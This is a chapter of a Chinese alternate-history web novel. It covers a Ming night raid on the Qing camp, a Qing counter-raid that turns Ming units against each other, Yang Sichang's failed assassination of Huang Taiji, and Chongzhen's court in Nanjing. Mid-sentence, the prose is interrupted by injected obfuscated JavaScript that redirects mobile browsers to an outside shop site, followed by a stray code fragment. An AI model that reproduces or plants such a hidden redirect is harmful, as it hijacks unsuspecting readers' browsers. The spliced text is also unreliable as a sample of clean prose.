王二决定夜袭,是在洪承畴允了之后。
他没有声张。只叫了石彪、孙五、耿四平,又点了延安协剿营里最能打的八百骑。点兵时,他站在那排黑黢黢的人马前头,低声道:“清帝就在北边大营里。咱们去会会他。”
石彪一听,牙都龇起来了:“二哥,就等这句了。”
王二看他一眼,道:“今晚这趟,不是去拼命的。摸进去,放火,砍人,找到中军大帐便往里杀。能杀多少杀多少。杀不动了,就撤。听明白了没有?”
众人低低应了。八百骑,马蹄裹布,刀鞘含刃,从大营南侧的暗处淌了出去,像一条从黑夜里抽出来的、细而长的蛇。
王二对这带的地形,白天已经看过了不下十遍。清军大营扎得大,南北绵延十几里,营帐之间留出数条通道供马队调度。中军大帐在最中央,灯火最亮,守卫也最密。可再密也总有缝隙。王二选的路线,是从西侧一处堆放草料的后营切进去。那地方靠近马厩,气味大,巡哨相对松散,草料又多,放起火来最趁手。
他们贴到离草料场还有半里地时,孙五先带着十几个人摸上去,把外头几个哨兵全抹了脖子。那几个清军连声都没出,人还靠在木栅上,血就已经漫过了领口。孙五学了几声野狐叫,王二一挥手,八百骑便悄没声地涌了进去。
草料场先起火了。
王二亲自把几坛子清军自己的火油泼在草垛上,火折子一丢,那草料被夜风一撩,轰地一下便烧了起来。火势窜得极快,几座草垛像被浇了油的纸,一个接一个地炸开。那火光从清军大营西侧升起,把半片天都映得通红。清军后营顿时乱了。有人从帐子里冲出来,光着膀子,手里只攥着把刀,还没看清前头的人影,就被石彪一矛捅了个对穿。
王二不再恋战,带着骑队朝中军大帐的方向□□。清军大营里已经到处是奔跑的人影。很多兵不知道火是谁放的,只当是明军大举来袭,吓得连甲都来不及披,举着刀四处乱撞。王二这一路倒没遇到太硬的抵抗,一直杀到离中军大帐不足一里处,才被一队清军亲兵拦了下来。
那队人盔甲鲜亮,长刀如林,显然不是寻常营兵。他们分成三排,把通向中军大帐的路死死堵住。王二举刀一指,八百骑便撞了上去。这一撞,火星四溅。清军亲兵又厚又硬,像一堵包了铁的门,怎么都撕不开。石彪冲在最前头,身上已经挨了两刀,血从肩头流下来,把半边甲都浸透了。他还在往前顶,嗓子吼得都快劈了。
王二一刀砍翻面前一个亲兵,抬眼望去。火光影里,中军大帐就在前头。他甚至能看见帐外那根大纛。那纛在火光里猎猎翻卷,上面的字看不清楚。
然后他看见了皇太极。
就站在那三排亲兵后面,不到二十丈远的地方。明黄铠甲,火光一照,亮得像这夜里突然升起的一轮日头。皇太极没有退。他连刀都没拔。他站在那里,背脊挺得笔直,像这满营的乱火里唯一不会摇晃的东西。
王二看见他偏过头去,对身旁一个将领低声说了句什么。那将领领命,翻身上马便往西边去了。皇太极又指了指东边。另一个将领也打马去了。前后不过几个呼吸,命令已经下去了。然后他往前走了两步,走到那三排亲兵身后,忽然提高声音,用满语喊了一句。
那三排亲兵齐齐应了一声,声音沉而齐整,像一面被重锤擂响的巨鼓。原本已经有些动摇的阵脚,竟被这一声给硬生生压住了。后排的清军不再乱跑,开始有组织地朝两边散开。有人用长枪在地上划出几道线。有人把火把按灭。有人在极短的时间内,把已经乱了的弓手和刀牌手重新排成了两列。那乱势,像被一只稳而沉的手从正中间一点一点地按了下去。
王二在马上望着那个明黄铠甲的人影。他这一生见过不少可杀之人,可眼前这个让他觉着,若今夜不把命留在这里,大约再也没有第二次机会了。他猛地一夹马腹,朝那三排亲兵撞去。刀举到半空时,他和皇太极的目光隔着层层刀枪与火光撞在了一起。
皇太极在看他。
那眼神不是恐惧,也不是愤怒。那眼神里有几分惊异,几分欣赏,像一个人在戏台下忽然看见一头活生生闯进来的猛虎,先是一怔,随即竟脱口叫了一声“好”。可那欣赏只存了一瞬。下一瞬,皇太极的眼里便浮起了别的东西。那东西更冷,更重。王二说不上来是什么。他只知道,那是一个还不想死的人,看着一个不要命的人时,才会有的眼神。
那眼神里有害怕。
不是怕死。是怕这种不要命的、野火一样的人。怕这人的骨头里藏着某种他无法用名分和刀枪收买的东西。这种怕只有一瞬。皇太极很快便退回了亲兵之后。
王二的刀,就是在这时候,砍在了皇太极身前一名亲兵的胸甲上。
那亲兵的甲厚,刀砍上去,只斫进去半寸,火星顺着刀口迸出来,在夜色里炸开。那亲兵被这大力推得朝后一个趔趄,正好撞在皇太极身前。皇太极就站在他背后,纹丝未动。他望着王二,嘴唇动了动,声音不高,却清清楚楚地穿过刀剑与火焰,传进了王二耳里。
“不必回去了。快跑吧。”
王二的刀还嵌在那亲兵的甲里。他怔了一瞬,像被人从后脑泼了一瓢凉水。他猛地拔回刀,朝身后吼:“撤!”
他们杀出去时,石彪的马中了一箭,前腿一软,把他掀了下来。孙五打马过去,俯身一抄,把人拽到自己马上。石彪满嘴是血,还咧开嘴笑:“这趟够本了。”孙五没理他,只拼命抽马。八百骑,杀进去时整整齐齐,出来时只剩不足五百。可他们总算是出来了。
大营的方向仍旧火光冲天。王二骑着马跑出去十余里才敢回头望。他原以为会看见清军追击的火把。可没有。清军大营的火烧得比他们离开时还要大。那火势像是生了魂,从西边草料场一路蔓延,已经烧到了大营中央。王二忽然觉着不对劲。那火太红了。红得不像是他们那几坛子火油能烧出来的。
皇太极那句话又在他耳边响起来。他咬了咬牙,只当是自己厮杀太累,听岔了。随后他催马朝自家大营赶去。
等他带着人赶回明军大营时,王二整个人都僵在了马背上。
明军大营也烧起来了。那火从西北角烧起,顺着一道长火线,像有人拿烧红的铁尺在营盘上横着划了一道。火焰从一顶帐子跳到另一顶帐子,风一吹,整片西营全卷进了火里。他们走了一个多时辰。这一个多时辰里,清军竟也来了一手。同样的夜袭,同样的放火。只是他们去的是清军大营,清军来的,是明军大营。
而营里已经疯了。
王二刚冲进南门,就看见了那员清军小将。
那人骑一匹高大的黑马,马身披着半甲,人在火光里像一尊从地底冒出来的煞神。看年纪不过二十出头,生得白净,可那白净被血与火一映,竟像地狱里新塑的鬼像。他手里一杆长枪舞得虎虎生风,枪头所过之处,血珠子甩出去老远。他一边冲,一边用清晰的汉话喊:“延绥已降!降者不杀!其余人等还不速速跪地!”
那声音又尖又亮,穿过满营的喊杀声,像一根烧红的铁条直直地插进每个人耳里。他身后跟着不过两三百骑,可那两三百骑竟像三千骑一样,从营区中央的大道上由南往北一路碾压过去。他们不砍帐篷,不抢粮草,只杀人。杀得极有章法。两骑并列,一骑近战,一骑持弓,近战者贴路左,持弓者贴路右,所过之处不留活口。
那清军小将叫岳托。是满洲正红旗的人。年纪虽轻,却已跟着皇太极打了三年仗。他每一枪都往人喉咙上送,像在串一条永远不会到头的珠子。他嘴里喊着“延绥已降”,可实际上,他杀得最多的,恰恰是延绥的人。
明军大营里的兵早就被那场火和那声“延绥已降”给弄懵了。有人真以为延绥反了,抄起刀便朝身边延绥口音的袍泽砍去。西营里,一个延绥骑手被十几个三边兵围住,他背靠着一辆着火的粮车,嘶声喊着“自己人”,可那十几个人像听不见一样,长枪短刀一齐上,把他捅得浑身都是窟窿。他倒下去时,手里还攥着一角被血浸透的、从延安带出来的干粮袋子。
王二冲进去时正看见这一幕。他眼睛都红了。他拔出刀来冲那十几个三边兵吼:“都他娘的住手!清军在那边!你们往哪儿砍!”
可没人听他。那些三边兵已经杀红了眼。他们分不清敌我,分不清南北。他们只记得那声“延绥已降”。他们只知道清军杀进来了,延绥反了。这大营里除了自己身边的几个人,全他娘的不可信。这种恐惧比刀枪还毒。它让一群曾经并肩而战的汉子在火光里像野兽一样互相撕咬。
孙五带着石彪从另一边赶到,见状也急了:“王头领!这营里乱了!喊不回来了!咱们先去延绥的营地,能收拢多少是多少!”
王二狠狠地一夹马腹朝延绥营地方向冲。一路上到处是倒伏的尸首。有清军的,有三边的,也有延绥的。有些尸首叠在一起,分不清谁杀了谁。有个延绥老兵靠在一根烧断的旗杆上,喉咙被人割开了一半,血已经流干了。他手里还攥着刀。那刀砍在一具三边兵尸首的腰上,拔不出来。两个人就这么死在一处。那老兵的眼还睁着,望着王二。王二从他身边过去时觉着那双眼像在问他:这到底是他娘的打谁?
王二冲到延绥营原址时,那里已经烧成了一片火海。那些从延安带出来的帐篷、粮草、马具全在火里。一百多个延绥兵缩在营后一处没被点着的土坡上。领头的见王二来了,眼泪当场就下来了:“王头领!三边的人说我们反了!他们放箭!他们真的放箭!”
王二没说话。他数了数人。数到最后手都是抖的。石彪、孙五、耿四平都在。可是秦锐不在。郑虎不在。他咬了咬牙,把那些念头全从脑子里挤了出去。
“走。”他道。那声音哑得不成样子,像从被火烧过的喉咙里硬挤出来的,“护着这些弟兄往西。出了大营再往南。离这越远越好。”
他们刚走,身后的大营便彻底炸了。那火光从四面八方合拢过来,把整片天地都烧成了白昼。明军大营、清军大营两处火海在夜色里像两只从地狱里伸出来的、烧得通红的巨手,把北京城的西南角整个儿地按在了掌心里。
王二带着那百余人一路往西跑。风从北边来,把火星和灰烬卷得漫天都是。他不敢回头。他怕一回头便再也走不动了。
天快亮时,他们在一处干河滩上停了下来。王二点了点人数。一百一十七个。他带出来的八百骑只剩一百一十七个。还不算那些在大营里被打散的、不知道死活的。
他坐在河滩上,背靠着一块被露水打湿了的大石。石彪靠在他旁边,肩上的伤还没包扎,血把半边衣裳都染成了黑的。孙五蹲在河边洗脸。耿四平在不远处用刀一下一下地削着一根不知从哪里捡来的树枝。没人说话。谁也不知道该说什么。风从北边来,把远处大营的火灰一片一片地吹到这里,落在他们头上、肩上,像下了一场细密的、黑色的雪。
天亮以后,陆陆续续有延绥的兵逃了出来。
先是三个,后来七八个,再后来十几个。都是满身血污,有的还带着伤,三三两两像从地狱里爬出来。每来一个人王二就抬头望一眼。他嘴上不问,眼睛却骗不了人。那些逃回来的兵都默默地坐到他身边,谁也不说话。他们知道王头领在等谁。
快到中午时,一个人从北边跌跌撞撞地跑了过来。是郑虎。
他浑身是血,甲的左半边已经没了,里头的衣裳碎成了一条一条。脸上全是黑灰,只那双眼睛还认得出。他望见王二,脚下一软整个人扑倒在河滩上,半晌爬不起来。王二冲过去一把将他从地上拽起来。郑虎的嘴唇裂得全是血口子,喉咙里像堵着一团什么东西,半天才发出一声。
“二哥。”他叫了一声。声音又粗又哑,像哭又不像哭,“秦总兵……秦总兵死了。”
王二的手僵在了他肩上。
郑虎抬起头来。他脸上全是泪。那泪从黑灰里冲下来,冲出两道又白又脏的痕。他道:“俺和秦总兵在西营口子上。三边的人朝俺们放箭。秦总兵把俺推开了。他自个儿……他自个儿身上中了十几箭。”他说到这儿已经喘不过气了,喉咙里发出一种怪而粗的呜咽,“俺拖他,拖不动。他说,他说让俺走。他说别管他。二哥,三边的人那是真畜牲啊!”
王二没动。他站在原地像被人从头顶浇了一桶冰水。风从北边来,把他散乱的头发吹得乱飞。他慢慢松开郑虎,走到那块大石旁坐下来。他觉着胸口有什么东西硬硬的,像这天地间最后一小块还属于自己的、又冷又沉的东西。
他伸手从怀里摸出那封信。那信是离开延安前秦锐塞给他的。塞的时候秦锐什么也没说,只把信按在他手里看了他一眼便打马走了。那一眼王二现在才明白。那是在说:我大约回不来了。这信你替我收着。
他捏着那信,手指抖得厉害。他没有拆。他不敢拆。他觉着只要不拆开,秦锐就还在。还在那枣红马上,还在那面黑底白字的旗下,还是那个和他从一个锅里舀饭、一个铺上睡觉的混账。
可郑虎又说话了。他的声音像从很深很深的地方一点一点地往上爬:“二哥……洪总督……洪总督好像也被人杀了。俺看见,俺看见有个清军将领把洪总督的头拿枪挑着往回走。”
王二闭上了眼。风从北边来,很凉。凉得让人觉着这世上好像再也没有什么东西能暖过来了。
而此刻,明军大营的废墟上,另一个人也正在经历他一生中最痛的时刻。
马世龙找到了洪承畴的尸体。
那尸体躺在中军帐外,身上中了数箭。洪承畴至死都面朝着北方。他的刀还在手里,刀口上沾着血。那血已经干了,黑红黑红的,像这八月里最后一抹不肯褪去的颜色。他的头已经不见了。马世龙跪在尸身前,伸了好几次手,都没敢去碰那具残躯。他的嘴唇哆嗦着,脸上的皮肉都在抖。这个在西北风沙里滚了半辈子的汉子,此刻竟哭得像个孩子。
“总督大人。”他哑着嗓子喊。那声音从喉咙里挤出来,像从石缝里刨出来的、带血的土,“总督大人!是末将没用!是末将没早点看穿延绥的狼子野心!末将若早些动手,清军便不会进来!您也不会……您也不会……”
他说不下去了。他整个人伏在地上,额头抵着焦黑的泥土,肩膀一耸一耸地。周围几个三边的将领也都跪了下来,有人哭,有人骂。那哭声和骂声混在尚有余温的灰烬里,像这满营将散未散的、最后一缕还带着恨意的烟。
金琢站在一旁,几次想开口,都被马世龙那副模样给堵了回来。他走到马世龙身边,低声道:“马老哥,此事尚有蹊跷。延绥若真投了清,怎么会在西营被自己的人射死那么多人?秦总兵到现在生死不明,延绥营也被烧成了白地。这不像是通虏。这倒像是清狗的离间计。”
“离间计?”马世龙猛地抬起头来。他满脸是泪,眼里却像烧着火,“金琢,你还年轻!你懂个屁!清军昨晚夜袭,不杀延绥,只杀咱们三边!你看见没有?西营那边延绥的兵,清军碰都没碰!他们就是一路货!秦锐死了?死了也是活该!”
金琢还要再说,马世龙已经站了起来。他拔刀,刀尖朝着南边,嘶声道:“三边的弟兄们!洪总督死了!咱们的勤王军,昨夜便没了!可这仇,不能就这么算了!延绥的人往南逃了!老子要去把他们的人头一个一个地拧下来,给洪总督祭灵!有种的,跟老子上!”
呼啦一下,竟有近两千人站了起来。这些人,昨夜在火里没了营寨,没了主帅,没了方向。此刻,马世龙这一声吼,倒像是给了他们一个去处。那去处便是恨。是拿延绥的血,来洗自己心里的怕。
金琢没有跟去。他望着马世龙带着那黑压压一片人往南去了,心里头像有什么东西一点一点地沉了下去。他转过身,朝皇城的方向走。他还有一件更要紧的事。
而此刻,在清军大营的另一边,被俘的明军正被一队一队地赶进空出来的马圈里。
在这些俘虏里面,三边的溃兵居多。他们有的还带着伤,有的只剩一只脚穿着鞋,有的连裤子都跑没了。他们被人用绳子一串一串地拴着,蹲在地上,谁也不敢抬头。可总有那么几个胆大的,偷偷往外看。
他们看见了延绥的俘虏。那些延绥兵被单独安置在一片干净的帐篷前。有人给他们端来了热汤,有人给他们拿了新衣裳,还有人蹲在他们面前替他们上药。一个清军小校正站在那堆延绥俘虏面前,和为首的一个延绥什长说着什么。那什长胳膊上缠着绷带,脸上还有血,可那清军小校跟他说话时的样子,客客气气的,倒像在跟自家旗里的老卒交代差事。
那清军小校,正是岳托。他把几贯钱塞到那什长手里,又命人牵来几匹刚从明军大营里缴来的骡子,道:“我们皇上说了,延绥、宁夏是圣女封地。你们是沈家的人,大清算不得你们的仇人。这些钱拿去,路上买粮吃。新衣裳和伤药,也替你们备齐了。想回延安的,自己走。不想回的,留在这里,一样有饭吃。”
那什长听得发怔。他捧着手里的钱,又望了望身后那些已经换上干净衣裳的弟兄,半晌,才道:“你们……真放我们走?”
岳托道:“放。不单放,还给你们备了路粮。只一样,路上别撞见三边的人。他们现在,大约是疯了。见到你们就跟狗见着骨头了一样,看见就咬”
这话轻描淡写,却让那些蹲在不远处的三边俘虏们听得清清楚楚。
忽然有一个三边俘虏猛地站了起来。他满脸是血,脖子上还套着绳,却像疯了一样朝延绥俘虏的方向冲了两步,被旁边的清兵一枪杆砸在膝弯上,扑通跪了下去。他不管,只嘶声喊道:“你们看见没有!看见没有!延绥的人被当成上宾!他们早就跟清狗是一伙的了!洪总督……洪总督就是被他们害死的!他们放清狗进来,又借着清狗的手杀咱们三边的人!如今他们还有热汤喝,有新衣裳穿!咱们呢?咱们像牲口一样被拴在这里!凭什么!凭什么!”
他喊得撕心裂肺。那声音里已经分不清是哭还是骂了。又有几个三边俘虏跟着站了起来,红着眼睛,朝延绥的方向吐口水,骂声一片。那些延绥俘虏被骂得抬不起头来,想辩解,张了张嘴,又不知从何说起。只有那领头的什长,咬了咬牙,低声道:“咱们没有,咱们真没有。”
可三边的人,已经不信了。
金琢找到杨嗣昌时,杨嗣昌还靠在那扇朱红大门旁。
“阁老。”金琢道,“末将护送您离开。清军已经到了午门。再不走,便走不了了。”
杨嗣昌慢慢睁开眼睛。他望着金琢,又望了望南边的天。然后他道:“金琢,你走吧。回陕西去。你爹还在陕西。我……还有些事,没办完。”
金琢一怔:“阁老,您一个文人,能办什么事?清军进来,您连刀都举不起来!”
杨嗣昌笑了。那笑很轻,像这满城的风,从很远的地方吹来,又朝很远的地方吹去。他道:“举不起刀,还有别的法子。你莫问了。走。”
金琢还要再说,杨嗣昌却已经扶着墙站了起来。他整了整那身旧朝服,把头发重新拢了拢。他道:“你回去,若见着沈家那姑娘,替我带句话。就说,这一世我对不起她。若有来生,再还她一个公道。”
金琢眼眶热得厉害。他给杨嗣昌磕了三个头,然后站起身来,带着人且战且走,朝西边退去了。
清军进皇城时,杨嗣昌就站在午门之下。
他身后是空无一人的宫城。面前是黑压压的清军。他没有躲,没有跑,甚至没有把腰弯下去。他只是站在那里,望着那些铁甲铁盔的骑兵,从他面前,一队一队地,开进去。
皇太极看见了他。
清帝策马到杨嗣昌面前,居高临下地望着这个瘦骨嶙峋的汉臣。他道:“你就是杨嗣昌?”
杨嗣昌抬起头来。他望着皇太极,忽然笑了。那笑里没有惧,只有一种深不见底的、已经不属于活人的平静。他道:“大明罪臣,杨嗣昌。拜见大清皇帝陛下”
皇太极点了点头,道:“你的主子已经跑了。这城,已经是大清的了。你不跑,留在这里,是要殉国?”
杨嗣昌低下头去,像在犹豫,又像在下什么决心。过了好一会儿,他忽然道:“臣……想要侍奉皇上。”
皇太极的眉头动了一下。他望着杨嗣昌,道:“你要降?”
杨嗣昌跪了下去。他跪得很慢,像这身子已经不太听使唤了。他道:“臣有满腹经纶,有一腔韬略。明主不能用,臣这颗脑袋,留在颈上,尚可为新朝,尽几分余力。”
皇太极没说话。他望着杨嗣昌,像在把这个人,从里到外,重新称量一遍。片刻后,他笑了。那笑很淡,像看穿了一切的、带着几分可惜的笑。他翻身下马,走到杨嗣昌面前,道:“起来说话。”
杨嗣昌便站了起来。他垂着手,低着头,像一个真正认命了的降臣。皇太极又朝他走近了两步。就在这两步之间,杨嗣昌忽然动了。
他从袖中滑出那把短剑,用尽了全身最后的力气,朝皇太极刺去。
那一剑不慢。可皇太极打了一辈子的仗,身子比脑子还快。他猛地一侧,杨嗣昌的剑擦着他的衣甲过去,划开了一道口子。下一瞬,皇太极飞起一脚,正踹在杨嗣昌胸口。杨嗣昌整个人朝后飞出数步,撞在午门的门钉上,又重重摔在地上。那短剑脱手,在青石地上弹了两下,滑到了阶下。
周围的清军一拥而上,将杨嗣昌按在地上。皇太极拍了拍被划破的衣甲,望着地上那个已经被按得不能动弹的老人。他忽然笑了。
那笑从胸腔里出来,又冷,又亮,像这满宫城的风,从太和殿一路吹到午门。他道:“崇祯有这样的臣子,还能把江山丢了。朕看,他不是亡国之君,谁信?”
他说着,蹲下身来,望着杨嗣昌那张贴在地上的、已经白得像纸的脸。杨嗣昌嘴角有血。他的眼睛睁着,里面没有悔,也没有恨,只有一种已经做完了最后能做之事的、空空荡荡的平静。
“可惜了。”皇太极道。然后他站起身来,朝身旁的亲卫摆了摆手。
刀落了下去。
风从北边来。那个旧酒囊从杨嗣昌腰间滚下来,滚了两滚,停在石阶旁。里面,一滴酒也没有了。
而此刻,崇祯的车驾,终于进了南直隶的地界。
南京城外的官道两旁,不知是谁,竟还挂出了红绸。那红绸已经很旧了,被风吹得发白,像从另一个世界里飘来的、陈旧而可笑的梦。崇祯坐在御辇里,掀起帘子,望着那红绸。那红绸让他想起北京。想起八月十六。想起那场他以为能成的、却终究成空的大典。
杨克绳带着那支从北京一路南来的精锐,就护在车驾两侧。他们不声不响,甲叶在秋风里轻轻磕碰。这些从火里出来的兵,此刻站在这江南的烟柳里,像一群从另一个天下逃来的、无家可归的人。
崇祯望着南京城楼,忽然道:“到了。”
杨克绳在马上抱拳:“陛下,南京乃我朝根本之地。当年成祖皇帝,便是从北京起兵南下靖难,饮马长江,而后定鼎天下。”
崇祯没说话。他望着那城楼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891048|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
望着那旧红绸,望着那一片暖洋洋的、与北京全然不同的天。他忽然就想起,自己的祖宗朱棣,便是从北平这里出发,一路南下,饮马长江,夺了天下,然后把都城迁到了北京。如今,他朱由检又回来了。不是来饮马,不是来问鼎。是来躲。是来逃。是带着杨嗣昌的儿子和这半壁将碎的山河,躲回了祖宗的出发之地。
“饮马长江。”他轻轻地念了一声。那声音散在风里,像一粒落在尘土里的、再也找不到的种子。
车驾缓缓驶入南京城。
城门是开着的。守军跪了一地,甲胄上还沾着江南的露水。城中百姓远远地望着,有老人抹泪,有孩子踮着脚,有秦淮河上的丝竹声从极远处若有若无地飘来。崇祯坐在车中,掀着半角帘子,望着这座城。
这城,他其实从没来过。
可他从入城那刻起,就已经在想了。想这南京的六部还有没有人。想江南的赋税还剩多少。想杨克绳那支兵能扩成什么样。想这长江,到底能挡清军多久。
他没有太多工夫去伤怀。北京已经丢了。可这半壁还在。太祖高皇帝当年不过是个从濠梁起兵的穷和尚,没有一寸土,没有一杆旗,硬是从这长江边上打出了一整个天下。他朱由检如今再难,总比太祖当年强。他还有皇帝的名分,有留都的百官,有一支从北京血火里带出来的禁卫军。这仗,还没到认输的时候。
他想起成祖皇帝。从北平一路南下,饮马长江,把天下从侄儿手里夺了回来。那是何等的壮怀激烈,何等的卧薪尝胆,苦尽甘来。他朱由检如今也到了这长江边上,不是来饮马的,是来重建的,重建这个摇摇欲坠的大明。这天下,他还没死,大明也还没亡。
“杨克绳。”他忽然开口。
杨克绳在马上抱拳:“臣在。”
崇祯望着那城楼,声音不大,却清:“你这支兵,还能不能打?”
杨克绳坚定的回答道:“能。”
崇祯点了点头。他放下车帘,靠回暗处。外头的光被帘子隔成了灰蒙蒙的一层。他望着自己那身沾着焦味的龙袍,忽然就想起北京。想起午门。想起杨嗣昌。想起那个他连最后一面都没见到的老臣。
他的手指在膝上极轻极轻地收紧了。那手瘦得厉害,青筋一根根地凸着,像这半壁江山已经撑到了极限,可还在撑。
他不能倒。他若倒了,这南京,这江南,这太祖当年走过的路,便真的断了。他不能做那个断的人。
“传旨。”他道。那声音里已经没了一路上的空茫与疲态,像有什么东西被这长江边上的风一点一点地重新吹燃了,“南京六部、都察院、五军都督府,明日一早,到行宫见驾。江南各镇,兵册、粮册、税册,一并呈来。不得有误。”
杨克绳在车外应了一声。马蹄声与车轮声在南京城的青石路面上缓缓地响着。那声音不再像一个逃难之人的丧钟,倒像一面被重新捡起来的、旧了的鼓。鼓面还破着,可被敲响了。
崇祯望着那渐渐暗下来的天色。这南方的天,比北京黑得早,也黑得软。像一块浸了水的旧布,沉沉地往下压。他觉着,这布,他得亲手把它撕开。
太祖在这里开天。成祖在这里饮马。他朱由检也要在这里,把这个死局重新下一遍。这大明还没死。他还没死。那就打。打到底。打到这江南的米粮吃尽,打到这长江的水都泛红。也不能让清帝顺顺当当地把这半壁天下也拿了去。
车驾进入南京城后,崇祯被安顿在南京紫禁城的偏殿里。
那宫殿空置多年,梁柱上的金漆早已斑驳,砖缝里甚至钻出了几茎细草。宫人连夜打扫,总算把正殿和两间暖阁收拾了出来。可那股子陈年的霉味却怎么都散不净。崇祯没让人熏香。他只叫人把北边带来的奏报、兵册、粮册一摞一摞地全搬进了那间窄小的暖阁。那暖阁本就不大,册子一多,连转身都难。
他当夜便没睡。这是他的老毛病了。在北京时他便常常如此。批阅奏疏到天明,偶尔靠在御座上打个盹,连靴子都不脱。如今到了南京,换了地方,这毛病倒一点没改。他在那盏昏黄的油灯下,把杨克绳这半年来的行军账目、沿途各州县送来的粮草清单、江北四镇的兵员实数一样一样地看。每看完一样,便用朱笔在旁批注几个极小的字。那字写得极小极密,像要把每一分钱、每一石粮都榨出个所以然来。
第二日,天还没亮透,他便召了南京六部的堂官与都察院的几个御史到行宫前殿议事。
那些官员,有些是从北京逃来的,有些本就是南京留都的坐地户。两拨人站在一处,谁也不看谁。北京来的觉得南京的官混吃等死,南京的觉得北京来的丧家之犬,凭什么在这里指手画脚。可眼下皇帝真来了,他们也只能把那些心思全揣进袖子里,恭恭敬敬地列班站好。
崇祯坐在御座上,面前摊着几份折子。他先不问清军,不问赋税,不问江防。他道:“沈家的事,说说。都怎么想。”
殿中先是一静。江南的湿气从地砖缝里渗上来,冷飕飕地贴着每个人的脚踝。一个北来的老臣站了出来,颤声道:“陛下,那清帝的伪诏臣也看了。沈敬修、沈知微受其伪封,已是昭然若揭。天下谁人不知,沈家与清庭早有勾连。臣以为,当先发兵讨之。延安、宁夏不除,西北便永无宁日。”
这话一出,殿中顿时嗡嗡起来。南京兵部的右侍郎却皱了眉,道:“张大人这话说得轻巧。延绥那地方本就不是好打的。沈敬修经营十年,兵精粮足。咱们如今连江北四镇都未必拢得齐整,哪来的兵去讨延安?再说了,讨了延安,清军便不南下了吗?倒不如先搁置不问。若逼急了,沈家索性全投了清,那才是真的大祸。”
北来的老臣被噎了一下,正要反驳,旁边一个都察院的御史已经出列,道:“臣倒以为,眼下最要紧的不是沈家反不反,是沈家如何被清帝的伪诏给封了。这诏书能散到军中,能散到地方,足以见清庭对延绥的用心之深。沈敬修若真有异心,延安早就改姓了。清帝这伪诏,十有八九是反间。臣请陛下明察,切莫因着一纸伪诏便自断一臂。”
崇祯坐在上头,听着底下人你一言我一语地争。他脸上的神情很淡,淡得像这南京的晨雾。等他们争得差不多了,他才开口。
“明察?”他道,声音不高,却让满殿的人都静了下来,“朕想明察。可沈家给过朕明察的机会吗?”
他慢慢站起来。那身龙袍在这江南的湿气里显得有些沉。他走到殿中,环视着那些低着头的臣子,道:“沈知微。你们谁见过她?朕见过。一个女子,站在殿上,不卑不亢,对答如流。朕当时想,这女子与后宫那些凡脂俗粉不同,有风骨,有才具。朕想纳她为贵妃,是抬举她,是给沈家天大的体面。她接了旨。她叩了头。朕以为,这是成了。”
他说到这儿,忽然笑了一下。那笑又轻又短,像刀片从喉咙里划过去。满殿的人把头埋得更低了。崇祯继续道:“可你们知道她干了什么吗?她接了旨,回了延安,转头便去了草原。那清人口中的圣女,那血月之下的天语,全是她的手笔。清帝为何封她父亲做平西王?为何封她做昭圣郡主?因为她值。因为她早就把朕,把你们,把这一整个大明,都当成了她给清人的礼物,就为了不进宫,不做朕的妃子!”
他猛地转过身来,声音陡然高了:“她若只是不愿入宫,大可以跟朕说。她若不愿做皇贵妃,朕未必便会逼死她。可她没有。她一个字都没说。她只是接了旨,然后回去,把整个清廷都拉了过来。清军南下,北京被围,朕像条丧家之犬一样逃到这里。这是谁的手笔?这是沈知微的手笔!这是沈家给朕的答复!这就是沈家报答朕恩情的方式,引狼入室,为那清人鞍前马后!可笑,可耻!”
他这一番话说得又急又怒。殿中死寂。北来的老臣偷偷抬眼望了望崇祯,又赶紧低下。南京兵部右侍郎也不敢再说什么“搁置不问”了。谁都看得出来,这位皇帝已经恨极了沈家。
崇祯在原地站了片刻,渐渐把那阵怒气压了下去。他走回御案后坐了下来。再开口时,声音已经平了,甚至有些冷。
“朕想杀她。”他道。那话轻得像是说给自己听。可满殿的人都听见了。崇祯道,“可朕知道,现在不能。沈家手里有兵,延绥的位置又卡在清军与西北之间。她活着,西北便还有一个能缓的余地。她若死了,清军下一个要的便是延安。”
他顿了顿。他想起那个接旨的下午。沈知微跪在殿上,神色平静得像一池死水。他当时只觉着这女子冷淡。如今才知道,那池水里藏着多深的东西。他抬起头来,道:“可这口气,朕咽不下去。你们都给朕想法子。朕不要她的人头,朕要她把欠朕的连本带利地吐出来。”
他说完,目光在满殿人脸上扫了一遍。那几个大臣面面相觑,谁也不敢先开口。
到底还是南京户部尚书站了出来。他年岁大了,出班时腿都是颤的:“陛下,眼下当务之急是将江南的兵马钱粮整合起来。沈家之事,臣以为,可先下旨责问,令其自陈清白。若沈家不从,便夺其封赠,绝其贡道,令天下共弃之。若从,再徐徐图之。”
崇祯没说话。他望着那老尚书,像在咀嚼这话里的分量。片刻后,他忽然道:“不够。”
他说:“朕要史可法去延安。沈家若还认朕这个皇帝,便让沈敬修把延绥的兵权交出来。清帝不是封他平西王吗?朕倒要看看,他是要清帝的王爵,还是要朕的信任。若他肯交权,朕可以当什么都没发生过。若不肯,那这沈家便是我大明的仇敌。还有——”
他停了一下。殿中静得能听见外头风吹旧宫灯的声音。崇祯的声音又冷了几分:“还有沈知微。让他们把沈知微交出来。史可法,你把那女人给朕带回南京来。朕要亲口问问她。问问她,朕给她的恩典,她怎么就不要?问问她,这清人的诏书,到底是怎么回事。问问她,她到底和清人那口中的圣女有多少关联!。”
史可法从班中出列,跪地领旨。他年纪不算轻了,面皮微黑,眉眼间透着一股沉沉的方正气。他道:“臣领旨。只是陛下,臣此去,若沈家真有反意,臣当如何?”
崇祯望了他一眼,道:“那你便告诉他们,这大明的天,还没塌。朕就在这里等他们!”
他说完,朝殿中摆了摆手:“都散了吧。明日开始,你们给朕把南京的这一摊子给支起来。江防、钱粮、兵员,一样一样地,都给朕理清楚。清军在南下的路上,沈家在西北。朕在这南京,哪里也去不了。可这大明的气数,朕不能让它断在这里。”
